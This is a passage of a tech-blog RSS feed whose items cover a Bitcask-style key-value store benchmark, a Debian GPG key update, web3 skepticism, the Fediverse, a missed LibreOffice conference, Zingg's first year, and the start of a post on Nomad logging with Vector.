<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        0.748</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.056</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.711</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0.879</span><span style="color: light-dark(#005CC5, #6CB6FF);">     1.135</span><span style="color: light-dark(#005CC5, #6CB6FF);">    63.135</span></span></code></pre>
<p>This magic is all because of the way Bitcask uses Log structured hash table (just append-only records for writing data). Even with a lot of records, all it has to do is to write to the end of the file, which avoids any expensive I/O operations.</p>
<h2 id="summary">Summary<a class="zola-anchor" href="#summary" aria-label="Anchor link for: summary">#</a></h2>
<p>Overall, I am happy with <code>BarrelDB</code> implementation as I covered everything described in the paper. This project had excellent learning outcomes for me. I spent a lot of time coming up with a design for structuring different components and their API methods and handling all the edge scenarios during the compaction process. Although, full credit to Bitcask as it kept its design so elegant and minimal yet achieved some significant numbers in the benchmarks. This is also a reminder that simple need not necessarily mean less powerful.</p>
<p>I look forward to implementing a distributed KV store by adding support for multiple BarrelDB nodes connected via Raft. For now, gonna enjoy some chai and release this project to the WWW :)</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Announcement: I updated my gpg keys]]></title>
            <link>https://ravidwivedi.in/posts/updated-gpg-keys/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/updated-gpg-keys/</guid>
            <pubDate>Sat, 19 Nov 2022 10:31:36 GMT</pubDate>
            <description><![CDATA[I updated my gpg keys because I had a 3072 bits RSA key and Debian requires 4096 bits RSA or elliptic curve. The key fingerprint is:
FF7D B951 7CE1 E19B 6EFE 695F E0E5 BAFD 3BBF 70B3
Check my gpg page for details.
So, if you are from Debian community and signing someone else’s keys which they will be using for the purposes of debian, make sure they are using a 4096 bit RSA key or an elliptic curve key.]]></description>
            <content:encoded><![CDATA[<p>I updated my gpg keys because I had a 3072 bits RSA key and <a href="https://wiki.debian.org/Keysigning#Step_1:_Create_a_RSA_keypair">Debian requires 4096 bits RSA or elliptic curve</a>. The key fingerprint is:</p>
<p><code>FF7D B951 7CE1 E19B 6EFE 695F E0E5 BAFD 3BBF 70B3</code></p>
<p>Check <a href="https://ravidwivedi.in/gpg">my gpg page</a> for details.</p>
<p>So, if you are from Debian community and signing someone else&rsquo;s keys which they will be using for the purposes of debian, make sure they are using a 4096 bit RSA key or an elliptic curve key.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[But, aren't you folks web2?]]></title>
            <link>https://nadh.in/blog/web2-web3/</link>
            <guid isPermaLink="false">https://nadh.in/blog/web2-web3/</guid>
            <pubDate>Tue, 15 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[It took me several seconds to parse the casual quip “But, aren’t you folks web2?”. I probed further and they continued—“Isn’t Zerodha[1] web2? Why don’t you convert it to web3?”. For the next few minutes, I struggled to explain how technologies, processes, people, regulations, laws, industry, and the entire legal and societal foundation that underlie an organisation, no matter how imperfect, aren’t “web2”, and that they can’t just be converted to “web3”, whatever that meant. To my question as to why they called a whole bunch of things web2 and why they think it should be converted to web3, they didn’t have an answer. This interaction happened a few months ago with a young developer in their early twenties working for an American web3 startup. Since then, I have had a few more interactions including a few startup pitches, all eerily similar. All young people in their early twenties right out of college working on web3 things, all dismissive of everything non-web3 as web2. This conversation came up again this week in light of the new meltdowns unraveling[2] in the crypto world.]]></description>
            <content:encoded><![CDATA[<p>It took me several seconds to parse the casual quip <em>&ldquo;But, aren&rsquo;t you folks web2?&rdquo;</em>. I probed further and they continued—<em>&ldquo;Isn&rsquo;t Zerodha<sup><a href="https://zerodha.com/">[1]</a></sup> web2? Why don&rsquo;t you convert it to web3?&rdquo;</em>. For the next few minutes, I struggled to explain how technologies, processes, people, regulations, laws, industry, and the entire legal and societal foundation that underlie an organisation, no matter how imperfect, aren&rsquo;t &ldquo;web2&rdquo;, and that they can&rsquo;t just be converted to &ldquo;web3&rdquo;, whatever that meant. To my question as to why they called a whole bunch of things web2 and why they think it should be converted to web3, they didn&rsquo;t have an answer. This interaction happened a few months ago with a young developer in their early twenties working for an American web3 startup. Since then, I have had a few more interactions including a few startup pitches, all eerily similar. All young people in their early twenties right out of college working on web3 things, all dismissive of everything non-web3 as web2. This conversation came up again this week in light of the new meltdowns unraveling<sup><a href="https://news.bloombergtax.com/securities-law/matt-levines-money-stuff-ftx-had-a-death-spiral">[2]</a></sup> in the crypto world.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Lifestyle Changes]]></title>
            <link>https://www.prashanthudupa.com/lifestyle-changes/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/lifestyle-changes/</guid>
            <pubDate>Mon, 31 Oct 2022 08:30:39 GMT</pubDate>
            <description><![CDATA[Sometime in November last year, a few months after I had turned 40, I looked at myself and felt dissatisfied about my health & fitness. I had been dissatisfied for a long time, but it felt like I had reached...]]></description>
            <content:encoded><![CDATA[Sometime in November last year, a few months after I had turned 40, I looked at myself and felt dissatisfied about my health &#38; fitness. I had been dissatisfied for a long time, but it felt like I had reached...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Fitness</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[Introducing Fediverse: A Decentralized Social Media]]></title>
            <link>https://ravidwivedi.in/posts/intro-to-fediverse/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/intro-to-fediverse/</guid>
            <pubDate>Sat, 29 Oct 2022 09:14:56 GMT</pubDate>
            <description><![CDATA[Finally, Elon Musk is the owner of Twitter. On the first day after the takeover, Twitter has already undergone some major changes. If you are wondering what the big deal is, here is a reminder that tech giants work for profit and control, rather than to make the world a better place. While I do not consider the previous CEO of Twitter to be good, the takeover by Musk may have made people more receptive to the ideas I am going to discuss.
This is a problem of centralization
Centralized services such as Twitter are vulnerable to such handovers. Even if the company is good today, it may get compromised in future due to change of ownership. The same thing happened with WhatsApp. After Facebook took over WhatsApp, it later introduced a policy to share data of WhatsApp users with Facebook.
Introducing Fediverse

Fediverse logo
Fediverse is NOT another company or a startup, rather a community made project.
Fediverse is a decentralized social network, where users using different services can follow, boost posts, and communicate with each other, similar to how users with accounts on different email providers can email each other. Different services on Fediverse have different policies, so you can choose a service which suits your needs. Anyone can self host their instance of Fediverse, or pay someone to host for them(just like any task in the world). There is no single company or person who owns Fediverse, rather different instances have different admins, usually running service in their free time, so don’t forget to send them a donation if you like the service. Fediverse users do not get tied to a particular service, as when they change their service providers, they can migrate their friends and followers, so they don’t need to start from scratch again.
Fediverse is a collection of different types of services. For example, Mastodon is like Twitter(according to use-case), Friendica is like Facebook, Pixelfed is for sharing images, similar to Instagram, and PeerTube is for sharing videos, a replacement for YouTube.
Each service on Fediverse is free software which means you can add features youself as well. For example, let’s say Mastodon does not have a feature and you would like to add it, then you have the ability to run your modififed version of Mastodon on your server as well. You can pay someone to add that feature too, or you can collaborate with others who like the same feature and colectively crowdfund to add that feature.
You can learn more about Fediverse here. Further, this is a good unofficial guide to get started. We need to fight for our freedom. You can take a step by deleting your Twitter account, or just trying out Fediverse and bring your friends on Fediverse to reduce your dependence on Twitter, Facebook and Instagram. I suggest major organizations (which usually have resources) to switch to Fediverse, which will raise awareness about it to their users. If they don’t feel like deleting their Twitter account, Fediverse can reduce their dependence on it and, hopefully, more users will join.
My profile on Fediverse is here. Feel free to connect.
For further reading on this topic, check out this blog post by Free Software Community of India.]]></description>
            <content:encoded><![CDATA[<p>Finally, <a href="https://www.nytimes.com/2022/10/27/technology/elon-musk-twitter-deal-complete.html">Elon Musk is the owner of Twitter</a>. On the first day after the takeover, Twitter has already undergone <a href="https://www.nytimes.com/2022/10/28/business/twitter-elon-musk.html">some major changes</a>. If you are wondering what the big deal is, here is a reminder that <a href="https://jacobin.com/2018/02/elon-musk-hyperloop-public-transit-tech">tech giants work for profit and control</a>, rather than to make the world a better place. While I do not consider the previous CEO of Twitter to be good, the takeover by Musk may have made people more receptive to the ideas I am going to discuss.</p>
<h2 id="this-is-a-problem-of-centralization">This is a problem of centralization</h2>
<p>Centralized services such as Twitter are vulnerable to such handovers. Even if the company is good today, it may get compromised in future due to change of ownership. The same thing happened with WhatsApp. After Facebook took over WhatsApp, it later introduced a policy to share data of WhatsApp users with Facebook.</p>
<h2 id="introducing-fediverse">Introducing Fediverse</h2>
<p><a title="Eukombos, CC0, via Wikimedia Commons" href="https://commons.wikimedia.org/wiki/File:Fediverse_logo_proposal.svg"><img width="200" alt="Fediverse logo proposal" src="https://upload.wikimedia.org/wikipedia/commons/thumb/9/93/Fediverse_logo_proposal.svg/512px-Fediverse_logo_proposal.svg.png"></p>
<figcaption>Fediverse logo</figcaption></a>
<p><strong>Fediverse is NOT another company or a startup, rather a community made project.</strong></p>
<p>Fediverse is a decentralized social network, where users using different services can follow, boost posts, and communicate with each other, similar to how users with accounts on different email providers can email each other. Different services on Fediverse have different policies, so you can choose a service which suits your needs. Anyone can self host their instance of Fediverse, or pay someone to host for them(just like any task in the world). There is no single company or person who owns Fediverse, rather different instances have different admins, usually running service in their free time, so don’t forget to send them a donation if you like the service. Fediverse users do not get tied to a particular service, as when they change their service providers, they can migrate their friends and followers, so they don’t need to start from scratch again.</p>
<p>Fediverse is a collection of different types of services. For example, Mastodon is like Twitter(according to use-case), Friendica is like Facebook, Pixelfed is for sharing images, similar to Instagram, and PeerTube is for sharing videos, a replacement for YouTube.</p>
<p>Each service on Fediverse is free software which means you can add features youself as well. For example, let’s say Mastodon does not have a feature and you would like to add it, then you have the ability to run your modififed version of Mastodon on your server as well. You can pay someone to add that feature too, or you can collaborate with others who like the same feature and colectively crowdfund to add that feature.</p>
<p>You can learn more about Fediverse <a href="https://fediverse.info/">here</a>. Further, <a href="https://fedi.tips/mastodon-and-the-fediverse-beginners-start-here/">this</a> is a good unofficial guide to get started. We need to fight for our freedom. You can take a step by deleting your Twitter account, or just trying out Fediverse and bring your friends on Fediverse to reduce your dependence on Twitter, Facebook and Instagram. I suggest major organizations (which usually have resources) to switch to Fediverse, which will raise awareness about it to their users. If they don’t feel like deleting their Twitter account, Fediverse can reduce their dependence on it and, hopefully, more users will join.</p>
<p>My profile on Fediverse is <a href="https://toot.io/@ravi">here</a>. Feel free to connect.</p>
<p>For further reading on this topic, check out <a href="https://fsci.in/blog/self-hosting-and-federation/">this blog post</a> by Free Software Community of India.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[A Clojure view of "Mars Rover"]]></title>
            <link>https://www.evalapply.org/posts/clojure-mars-rover/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/clojure-mars-rover/index.html</guid>
            <pubDate>Wed, 19 Oct 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Here I illustrate how Clojurists (including Yours Truly) like to solve problems and model things using hammocks, pure functions, and the "it's just data" ideology. Also, while the *problem* focuses on "design in the small" of application logic, many ideas in the *solution* can—and do—scale all the way to "design in the large" of whole systems.]]></description>
            <content:encoded><![CDATA[Here I illustrate how Clojurists (including Yours Truly) like to solve problems and model things using hammocks, pure functions, and the "it's just data" ideology. Also, while the *problem* focuses on "design in the small" of application logic, many ideas in the *solution* can—and do—scale all the way to "design in the large" of whole systems.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>clojure</category>
            <category>functional_programming</category>
            <category>software_design</category>
            <category>architecture</category>
        </item>
        <item>
            <title><![CDATA[Couldn't Attend Libreoffice Conference 2022 in Italy]]></title>
            <link>https://ravidwivedi.in/posts/couldnt-attend-libreoffice-conference/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/couldnt-attend-libreoffice-conference/</guid>
            <pubDate>Tue, 04 Oct 2022 13:59:56 GMT</pubDate>
            <description><![CDATA[This year, The Document Foundation (TDF) invited me to attend the LibreOffice conference in Milan, Italy. In order to travel to Italy, I needed a visa.
To apply for the same, I had to book an appointment with VFS Global and submit the required documents. The conference was to be held from the 28th of September to the 1st of October 2022. I started checking for visa appointments on the 10th of August. However, I got no available slots in Delhi. I also checked the availability of appointments in other cities. I saw appointments were available in Kolkata, which is pretty far from where I live, and I didn’t want to spend that much time and money for the visa.
After looking up for appointments at the VFS Delhi center for 8 consecutive days, I got one for the 22nd of August. During my appointment, I was informed by the staff that I had applied in the wrong category - tourist. They told me further that if my purpose of travel is to attend a conference, then the category of application should be “business” or “invitation.” Therefore, I was advised to book another appointment in the correct category. It was not a visa refusal. I didn’t get to pay for my visa fee or submit my documents.
I tried to book another appointment in the correct category meant for attending conferences, but didn’t get any slots for days, and so I finally gave up in mid-September and told the conference organizers that I wouldn’t be able to join.
Finally, I would like to end this post by thanking TDF for inviting me to the conference and offering to sponsor my costs. It is unfortunate that I could not attend.]]></description>
            <content:encoded><![CDATA[<p>This year, The Document Foundation (TDF) invited me to attend the <a href="https://conference.libreoffice.org/2022/">LibreOffice conference</a> in Milan, Italy. In order to travel to Italy, I needed a visa.</p>
<p>To apply for the same, I had to book an appointment with VFS Global and submit the required documents. The conference was to be held from the 28th of September to the 1st of October 2022. I started checking for visa appointments on the 10th of August. However, I got no available slots in Delhi. I also checked the availability of appointments in other cities. I saw appointments were available in Kolkata, which is pretty far from where I live, and I didn&rsquo;t want to spend that much time and money for the visa.</p>
<p>After looking up for appointments at the VFS Delhi center for 8 consecutive days, I got one for the 22nd of August. During my appointment, I was informed by the staff that I had applied in the wrong category - tourist. They told me further that if my purpose of travel is to attend a conference, then the category of application should be &ldquo;business&rdquo; or &ldquo;invitation.&rdquo; Therefore, I was advised to book another appointment in the correct category. It was not a visa refusal. I didn&rsquo;t get to pay for my visa fee or submit my documents.</p>
<p>I tried to book another appointment in the correct category meant for attending conferences, but didn&rsquo;t get any slots for days, and so I finally gave up in mid-September and told the conference organizers that I wouldn&rsquo;t be able to join.</p>
<p>Finally, I would like to end this post by thanking TDF for inviting me to the conference and offering to sponsor my costs. It is unfortunate that I could not attend.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Zingg turns one!]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/zingg-turns-one</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/zingg-turns-one</guid>
            <pubDate>Sun, 02 Oct 2022 12:27:18 GMT</pubDate>
            <description><![CDATA[What, already? :-)]]></description>
            <content:encoded><![CDATA[<p>I did not realize that a year has gone by working publicly on Zingg. But now that the calendar has made the fact sink in, it feels surreal. Wasn&#8217;t it just yesterday that I was fretting about the documentation before announcing the open source and <a href="https://www.learningfromdata.zingg.ai/p/time-to-zingg">penning down my reasons for building Zingg</a>? Now here I am, recruiting the <a href="https://www.zingg.ai/resources/careers">team</a> for the enterprise version :-)</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 1456w" sizes="100vw"><img src="https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080" width="1080" height="720" data-attrs="{&quot;src&quot;:&quot;https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:720,&quot;width&quot;:1080,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;person holding lighted sparklers&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="person holding lighted sparklers" title="person holding lighted sparklers" srcset="https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=1080 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Photo by <a href="https://unsplash.com/@cristian1">Cristian Escobar</a> on <a href="https://unsplash.com">Unsplash</a></figcaption></figure></div><p>It feels great to complete an entire year! Days have passed fairly quickly, spread between <a href="https://medium.com/towards-data-science/identifying-duplicates-in-snowflake-e95b3f3fce2b">writing</a>, <a href="https://crossroads-cx.medium.com/building-open-access-to-nc-campaign-finance-data-entity-resolution-pt-1-baff56e573a1">lots</a> <a href="https://hightouch.com/blog/warehouse-identity-resolution">of</a> <a href="https://www.databricks.com/blog/2022/08/04/new-solution-accelerator-customer-entity-resolution.html">reading</a>, <a href="https://www.youtube.com/watch?v=F5Dw1QH0idQ">speaking</a>, giving <a href="https://www.youtube.com/watch?v=zOabyZxN9b0&amp;t=5s">demos</a>, and <a href="https://www.youtube.com/watch?v=tUfmoQY_UyM">meeting people</a>. We have done a lot of <a href="https://www.learningfromdata.zingg.ai/p/to-python-with-love">development</a> <a href="https://github.com/zinggAI/zingg/releases">work</a> as well as spent time on incorporation and funding. I have thoroughly enjoyed interacting with users and learning about the different use cases enabled by identity resolution. We have more than 200 members on our <a href="https://join.slack.com/t/zinggai/shared_invite/zt-w7zlcnol-vEuqU9m~Q56kLLUVxRgpOA">Slack</a> now, with representation from Fortune 500s, digital natives, data platforms, consulting companies and startups. Besides the Customer 360, personalisation, AML, KYC, GDPR, master data management use cases, the trend towards <a href="https://deloitte.wsj.com/articles/bridge-the-customer-data-divide-between-marketing-and-it-01657637033?mod=Deloitte_cmo_wsjsf_h1&amp;tesla=y&amp;id=us:2sm:3tw:4dd_dualzone::6dd:20220805181527::7325000954:5&amp;utm_source=tw&amp;utm_campaign=dd_dualzone&amp;utm_content=dd&amp;utm_medium=social&amp;linkId=176108611">composable</a> <a href="https://www.google.com/search?q=composable+cdp&amp;rlz=1C5CHFA_enIN1024IN1025&amp;oq=composable+cdp&amp;aqs=chrome..69i57j0i512j0i390l3j69i60l3.5925j0j7&amp;sourceid=chrome&amp;ie=UTF-8">customer data platforms</a> is fuelling a lot of interest in Zingg which is very promising. The data stack has proven patterns for data ingestion, <a href="https://www.getdbt.com/">transformation</a> and activation, but identity is a core missing piece there. <a href="https://www.zingg.ai/">Zingg</a> fits in very well into this <a href="https://roundup.getdbt.com/p/from-rows-to-people">space</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.learningfromdata.zingg.ai/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Sonal&#8217;s Newsletter! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p>One of the fundamental issues with identity resolution is <a href="https://docs.zingg.ai/zingg-0.3.4/zmodels">scalability</a>. While building Zingg, we used <a href="https://github.com/zinggAI/zingg/tree/main/examples">example</a> datasets and tested our algorithms on them. To test scalability, we copy pasted an example multiple times to build a dummy dataset of roughly 15 million rows. Most enterprise master data is sub 10m rows. Zingg scaled well on this. However, dummy datasets with the same rows perform differently from actual data with real distribution of values. So there were some lingering doubts in the back of my mind. These were soon resolved when we consulted with a Fortune 10 having 12.5m records where Zingg ran like a breeze. Hence, I was confident of scalability while releasing the open source, but I wasn&#8217;t sure how far it would go beyond 15m records without tuning the knobs. Hence, it is extremely uplifting to see our users resolve identities on 70-80m records in a few hours with Zingg. Due to the quadratic nature of the comparisons, this is at least 25 times more complex than our 15m endeavours, and seeing it work well is a great confidence boost! Another measure for Zingg is the accuracy of predictions, and users have done head to head comparisons with their multi-million dollar MDM tools to confirm our results. Yay!</p><p>One very important aspect for us is arming our users with the power of machine learning and distributed systems in a self-serve, no-code way. Many of our users are first timers with Java, Spark or ML. Zingg abstracts away the technical complexity, and gives the superpower of identity resolution at scale directly to the end user. Now that our Python release is out, we are actively working on a native Snowflake implementation. This opens up a new way for Snowflake users to use Zingg and identify their customers and personalize their journeys and experiences. </p><p>There have been some mistakes last year, and I plan to do better in the coming year. Due to my <a href="https://www.verywellmind.com/what-is-flow-2794768">flow state</a>, I missed applying to some conferences but the one I am most disappointed about missing is <a href="https://coalesce.getdbt.com/">Coalesce from dbt Labs</a>. I would have met some amazing data practitioners there and made many friends. This time I will clear my calendar and attend virtually. If you are joining, do let me know. </p><p>There have been <a href="https://www.nytimes.com/2022/09/15/sports/tennis/federer-retires-tennis.html#:~:text=%E2%80%9CTennis%20has%20treated%20me%20more,titles%2C%20310%20weeks%20ranked%20No.">some other disappointments</a>, but they were in the making since some time. Can&#8217;t complain. </p><p>On a philosophical note, <a href="https://www.magicalquote.com/bookquotes/who-in-the-world-am-i-ah-thats-the-great-puzzle/">identity</a> resolution is the <a href="https://www.learningfromdata.zingg.ai/p/of-i-and-we">discovery of self as well as building relationships</a>. Working on Zingg enables me to learn a lot of things around communication, positioning, customer needs, technology, hiring and sales. It pushes my boundaries and makes me discover myself. It also helps me talk to a lot of people and build relationships with customers, data leaders, practitioners, evangelists, contributors, team, investors and mentors. Many of us feel lost at the thought of networking - I am not sure how I would do if I had the charter to meet x new people every week! But when the baseline is common ground on data or ML, it is much easier to connect. </p><p>Zingg is made with <a href="https://www.linkedin.com/pulse/magic-word-meraki-thought-difference-between-working-just-mescalchin/">meraki</a>. It has been a lot of hard work, but it doesn&#8217;t feel that way at all. Last year has been nice, and <a href="https://www.youtube.com/watch?v=HgzGwKwLmgM">we are having a good time</a>. This coming year will decide how things shape up for us as a project and a startup. </p><p>Thanks to all of you for investing your time and effort on Zingg. We are incredibly grateful and motivated to do even more this year.    </p><p>Wish us luck! </p><p></p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.learningfromdata.zingg.ai/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Sonal&#8217;s Newsletter! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded>
            <author>Sonal Goyal</author>
            <enclosure url="https://images.unsplash.com/photo-1498673394965-85cb14905c89?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwzMDAzMzh8MHwxfHNlYXJjaHw1fHxvbmUlMjB5ZWFyfGVufDB8fHx8MTY2NDcwNjE5Ng&ixlib=rb-1.2.1&q=80&w=1080" length="0" type="image//photo-1498673394965-85cb14905c89"/>
        </item>
        <item>
            <title><![CDATA[Logging on Nomad with Vector]]></title>
            <link>https://mrkaran.dev/posts/nomad-logging/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/nomad-logging/</guid>
            <pubDate>Sat, 03 Sep 2022 18:40:55 GMT</pubDate>
            <description><![CDATA[Application orchestrators like Nomad, Kubernetes etc., allow you to deploy multiple applications on the same host. Logs are stored on the underlying node wherever the applications are run. However, it’s pretty common to treat these instances as ephemeral if they’re a part of an autoscaling group. Therefore depending on the node’s availability to search these logs is not a practical idea as the node can go down anytime. Moreover, in most cases, access to these nodes is limited to cluster administrators, not the maintainers (developers/application owners). In such cases, a log shipping agent must ship and aggregate logs from all cluster nodes and store them centrally (like Elasticsearch, Clickhouse, Loki).
I’d recommend reading this excellent post by Adrian, who has explained how to set up a Vector logging pipeline for applications running with docker task driver and ship the logs to Loki. For the applications running using docker task driver, Nomad piggybacks to docker daemon for configuring logging options. Docker daemon supports many logging options; in my experience, the journald log driver works reliably well.
However, this post is about tasks not using docker but any other driver (e.g. raw_exec and exec). Nomad doesn’t provide many configuration options for logging for these drivers. The biggest issue is that Nomad logs the application’s stdio/stderr stream to the log directory as-is without annotating any metadata about the task. This means that if you’ve multiple applications running on one host, the log shipping agent will not be able to identify which application’s logs are being ingested.
Consider this as an example. We’re running a simple web server using exec driver:
job "http" {
  datacenters = ["dc1"]
  type        = "service"

  group "app" {
    count = 1
    network {
      mode = "bridge"
      port "python-http" {
        to = "8888"
      }
    }

    task "server" {
      driver = "exec"

      config {
        command = "/usr/bin/python3"
        args    = ["-m", "http.server", "8888"]
      }
    }
  }
}
Once the alloc is running, we can find its IP address using:
nomad alloc status 1d05d64b | grep -A 3 'Allocation Addresses'
